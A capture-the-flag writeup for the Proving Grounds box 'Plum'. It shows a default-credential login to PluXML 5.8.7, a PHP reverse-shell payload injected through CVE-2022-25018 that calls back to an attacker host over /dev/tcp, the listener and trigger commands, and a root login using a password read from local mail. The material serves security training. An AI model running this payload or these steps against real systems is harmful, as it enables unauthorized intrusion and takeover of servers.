# Plum Writeup - Proving Grounds

> Intermediate Linux box running PluXML 5.8.7 with default admin credentials, exploited through the CVE-2022-25018 static-page PHP injection for a www-data shell, then escalated to root via a plaintext password left in local mail.

- **URL:** https://hackindex.io/writeups/plum
- **Platform:** Proving Grounds
- **Difficulty:** Intermediate
- **Operating system:** Linux
- **Tags:** rce, default-credentials, information-disclosure, pluxml, cve-2022-25018
- **Authors:** [The Husky Hacker](https://hackindex.io/authors/thehuskyhacker.md)
- **Read time:** 2 min read
- **Published:** 2026-10-08
- **Updated:** 2026-10-08

Plum runs PluXML 5.8.7 with its default `admin:admin` credentials. The static page editor accepts raw PHP (CVE-2022-25018), which gives a `www-data` shell, and a plaintext root password sitting in local mail finishes the job.

## Reconnaissance

### Nmap

Scan all ports and grab service versions.

```bash
nmap -sC -sV -p- $TARGET_IP
# 22/tcp open ssh   OpenSSH 8.4p1 Debian
# 80/tcp open http  Apache httpd 2.4.56 (Debian)
#   http-title: PluXml - Blog or CMS, XML powered !
```

Port 80 serves PluXML, a file-based CMS that stores content in XML instead of a database. Its admin panel sits at `/core/admin/` and accepts the default credentials.

## Exploitation

### PHP injection via static pages (CVE-2022-25018)

Log in to `/core/admin/` with `admin:admin`, open **Static pages** in the sidebar, and replace the content of **Static 1** with a PHP reverse shell.

```php
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1'"); ?>
```

Save the page and start a listener.

```bash
nc -nlvp $ATTACKER_PORT
# listening on [any] $ATTACKER_PORT ...
```

Browse to the static page to trigger it.

```bash
curl http://$TARGET_IP/index.php?static1/
# connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP]
# $ id
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

Shell as `www-data`, since PluXML's static page editor happily runs whatever PHP is pasted into it.

## Privilege Escalation

### Credentials in local mail

Check local mail, a step tools like LinPEAS flag automatically.

```bash
cat /var/mail/*
# Subject: URGENT - DDOS ATTACK
# <snip>
# root password: $ROOT_PASSWORD
```

An email from root to `www-data` leaks the root password in plaintext.

```bash
su root
# Password: $ROOT_PASSWORD
# root@plum:~# id
# uid=0(root) gid=0(root) groups=0(root)
```

The leaked password switches straight to root.

Related

## References

- [CVE-2022-25018](https://nvd.nist.gov/vuln/detail/CVE-2022-25018) - PluXML authenticated PHP code injection via static pages.